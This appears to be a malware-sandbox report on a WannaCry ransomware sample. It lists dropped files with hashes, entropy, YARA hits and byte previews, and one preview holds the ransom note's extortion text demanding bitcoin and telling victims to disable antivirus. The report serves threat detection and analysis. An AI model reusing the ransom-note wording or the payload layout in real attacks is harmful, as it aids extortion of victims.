                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2MG2D7mgwroXeo75Y3kmA31dv61Qy5:Shef3jHdGG23KrDZrS14N
                                                                                                                        MD5:FF70CC7C00951084175D12128CE02399
                                                                                                                        SHA1:75AD3B1AD4FB14813882D88E952208C648F1FD18
                                                                                                                        SHA-256:CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A
                                                                                                                        SHA-512:F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_polish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):39896
                                                                                                                        Entropy (8bit):5.048541002474746
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdD2SG2gA8w8OJ6868jy8/8w8m8T848f8y858l8j8yv:Shef3jHdxG2KhuZrS14G
                                                                                                                        MD5:E79D7F2833A9C2E2553C7FE04A1B63F4
                                                                                                                        SHA1:3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF
                                                                                                                        SHA-256:519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E
                                                                                                                        SHA-512:E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_portuguese.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37917
                                                                                                                        Entropy (8bit):5.027872281764284
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2QG2xgk5eo75Y3kmA31dv61QyV:Shef3jHdCG2EZrS14p
                                                                                                                        MD5:FA948F7D8DFB21CEDDD6794F2D56B44F
                                                                                                                        SHA1:CA915FBE020CAA88DD776D89632D7866F660FC7A
                                                                                                                        SHA-256:BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66
                                                                                                                        SHA-512:0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_romanian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):52161
                                                                                                                        Entropy (8bit):4.964306949910696
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:768:Shef3jHdXG2Cz2/vBAOZsQO0cLfnF/Zhcz7sDsYZBB/0gBjL+IU/hbhMVDtsR49P:ShehlrGR1m4dx9mjVyAvg7ouDT
                                                                                                                        MD5:313E0ECECD24F4FA1504118A11BC7986
                                                                                                                        SHA1:E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D
                                                                                                                        SHA-256:70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1
                                                                                                                        SHA-512:C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_russian.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47108
                                                                                                                        Entropy (8bit):4.952777691675008
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2qG2aUGs0K6lyZqmfGGHRblldORZeo75Y3kmA31L:Shef3jHdeG2lGsDOcZxbP7ZrS14K
                                                                                                                        MD5:452615DB2336D60AF7E2057481E4CAB5
                                                                                                                        SHA1:442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6
                                                                                                                        SHA-256:02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078
                                                                                                                        SHA-512:7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_slovak.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):41391
                                                                                                                        Entropy (8bit):5.027730966276624
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHd4Yb2YG2gNZ8a8zV/8j8U8l8x838Z8Q808m8d8T8hw:Shef3jHdZvG23AZrS14f
                                                                                                                        MD5:C911ABA4AB1DA6C28CF86338AB2AB6CC
                                                                                                                        SHA1:FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0
                                                                                                                        SHA-256:E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729
                                                                                                                        SHA-512:3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_spanish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):37381
                                                                                                                        Entropy (8bit):5.02443306661187
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdf24G2/ezV6YQUdZYlujeMQ9RXmhRweo75Y3kmA31S:Shef3jHdrG2fuhZrS14T
                                                                                                                        MD5:8D61648D34CBA8AE9D1E2A219019ADD1
                                                                                                                        SHA1:2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2
                                                                                                                        SHA-256:72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1
                                                                                                                        SHA-512:68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_swedish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):38483
                                                                                                                        Entropy (8bit):5.022972736625151
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdb24G2ZKLVdDeo75Y3kmA31dv61QyE:Shef3jHd/G2w6ZrS14w
                                                                                                                        MD5:C7A19984EB9F37198652EAF2FD1EE25C
                                                                                                                        SHA1:06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE
                                                                                                                        SHA-256:146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4
                                                                                                                        SHA-512:43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_turkish.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):42582
                                                                                                                        Entropy (8bit):5.010722377068833
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHds42WG2mzGu/eo75Y3kmA31dv61QyZ:Shef3jHdsiG2moZrS149
                                                                                                                        MD5:531BA6B1A5460FC9446946F91CC8C94B
                                                                                                                        SHA1:CC56978681BD546FD82D87926B5D9905C92A5803
                                                                                                                        SHA-256:6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415
                                                                                                                        SHA-512:EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\msg\m_vietnamese.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):93778
                                                                                                                        Entropy (8bit):4.76206134900188
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:SheftipUENLFsPzy3EFHjHdW2YG22cViQj3KiG8dpcH8iEriG8E8O83Jz52sxG8h:Shef3jHdWG2+oPZrS14i
                                                                                                                        MD5:8419BE28A0DCEC3F55823620922B00FA
                                                                                                                        SHA1:2E4791F9CDFCA8ABF345D606F313D22B36C46B92
                                                                                                                        SHA-256:1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8
                                                                                                                        SHA-512:8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386
                                                                                                                        Malicious:false
                                                                                                                        Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                        C:\Users\user\Desktop\r.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):864
                                                                                                                        Entropy (8bit):4.5335184780121995
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0Ei5bnBR7brW8PNAi0eEprY+Ai75wRZce/:DZD36W5/vWmMo+m
                                                                                                                        MD5:3E0020FC529B1C2A061016DD2469BA96
                                                                                                                        SHA1:C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE
                                                                                                                        SHA-256:402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C
                                                                                                                        SHA-512:5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF
                                                                                                                        Malicious:false
                                                                                                                        Yara Hits:
                                                                                                                        • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                        • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                        • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                        • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send %s to this bitcoin address: %s.... Next, please find an application file named "%s". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window...

                                                                                                                        C:\Users\user\Desktop\s.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3038286
                                                                                                                        Entropy (8bit):7.998263053003918
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:zUx4db9A1iRdHAHZXaTnCshuTnSQYUB/UZfCg2clOQin2h37l2Jh9iiRKpbXUSH:z/b96AdHA5XaTJvQYUBBgRlJi+rlliRy
                                                                                                                        MD5:AD4C9DE7C8C40813F200BA1C2FA33083
                                                                                                                        SHA1:D1AF27518D455D432B62D73C6A1497D032F6120E
                                                                                                                        SHA-256:E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B
                                                                                                                        SHA-512:115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617
                                                                                                                        Malicious:true
                                                                                                                        Preview:PK..........!(................Data/PK........M..J................Data/Tor/PK..........!(................Tor/PK..........!(..t.......0.....Tor/libeay32.dll.:.t.e....6m.....Me.Vjil....!..E..T..e...*..e....,.c..o=..t.u..,....J..k-.x.V..:1u....v..7.L~..?{..rN23.w......o..N2....WU..G..G.......Ed..7..q.o.5.]w.{...wl\y..m..w...?]......n......Z]UX./h4.....]...71....e.\^1..I..MH5...k.o+..s...c|s....-#d,!..............eW...?a.......R..I..R......w.....m..#od.*q.&..g.;.C(..t.V...j.Jq%...d_.Js...Hk.j#...DH.....,8_.O...]U....t .......ks:..T...18.C.%ASZJ3.U.nl..J.@)...$...N.s.O........m.0..*e..4.....m...lI..Z..7.f-.?....;...?.SO....}..7#.L8...5.z.~.........E.S..1....7.*.0...pf.....jz.)..Y..8..^....B........p.W..r..B.....p..?......../`*Wl..D.xAi..$..d.......&..p. ..bOtE.\.......(..&A...6v..S..Q...L...3 .:.6.m7.'.......)......iH.NZ_t.;./.a..n.g...A`.T.k.........."...<.rt..3....0.{N..yy...p.z.=..#.u.u...d......mQ..*.H..2.N.BRSN...XC....).".@.._.18.&...n

                                                                                                                        C:\Users\user\Desktop\t.wnry

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):65816
                                                                                                                        Entropy (8bit):7.997276137881339
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:am+vLII5ygV8/tuH+P9zxqDKvARpmKiRMkTERU:a9LAg4tXPTEKvADmFgRU
                                                                                                                        MD5:5DCAAC857E695A65F5C3EF1441A73A8F
                                                                                                                        SHA1:7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD
                                                                                                                        SHA-256:97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6
                                                                                                                        SHA-512:06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....8"'....].~>(...*PdIf.'.m>...2.0.`p...^...#I|..<.W.B.=....M..zxFp....0e...P...."....nhB)>....B..}.[d$......,...8.....k$.....S.w+.....N.....p/...Y.LC......9L.\!u...?hH".<d..dS%A.......Iu...nEi7I.....8.V..:F....-...,........\....}..`1?..m..5g.I'..................q.\..9`..t.....a......(|.8.L....67.gjrS.|.e...f.Fi......\...r.k.!d......8.'g1y+..'.i1t.L.>.u..:......<.fN.:Tf{..M.....W....._......_:...rR(.M..A?:...H.W.....=l......r..f..JX...:.z.rC.....f.X Qx.4....2....&w+..&kDqFU..u.............Sg..4k..<5.Zd$F.ED...1.S.d.. .eW.i....p.2..&.~S.l.R8$&q.L3.<.2....x ..by.zO.w. .hs.q.....I.1..D.F...J).&.....SD..v..m...V.....G...B`.u>K@.\_N......#.|..w.....Z.).X..[..o.(.'.~.nq.hq1.....:!.Q.P...c.KA,.3..m...j>.X.;..<.*."AU..R....Y....d]....U....).@...Q....|K.=.d.cI.x.....O...\(.%}.j..YG}...i.....R..j.`..9...5.....o..U...xu>+.$y...z... ...5......s..e...G...W.".T.'..iH..B.Sl...h..7B..E.8.....K.bRm...FE..W'_Q1...... ...A.5.}..%.../^VL.;.".w

                                                                                                                        C:\Users\user\Desktop\taskdl.exe

                                                                                                                        Download File
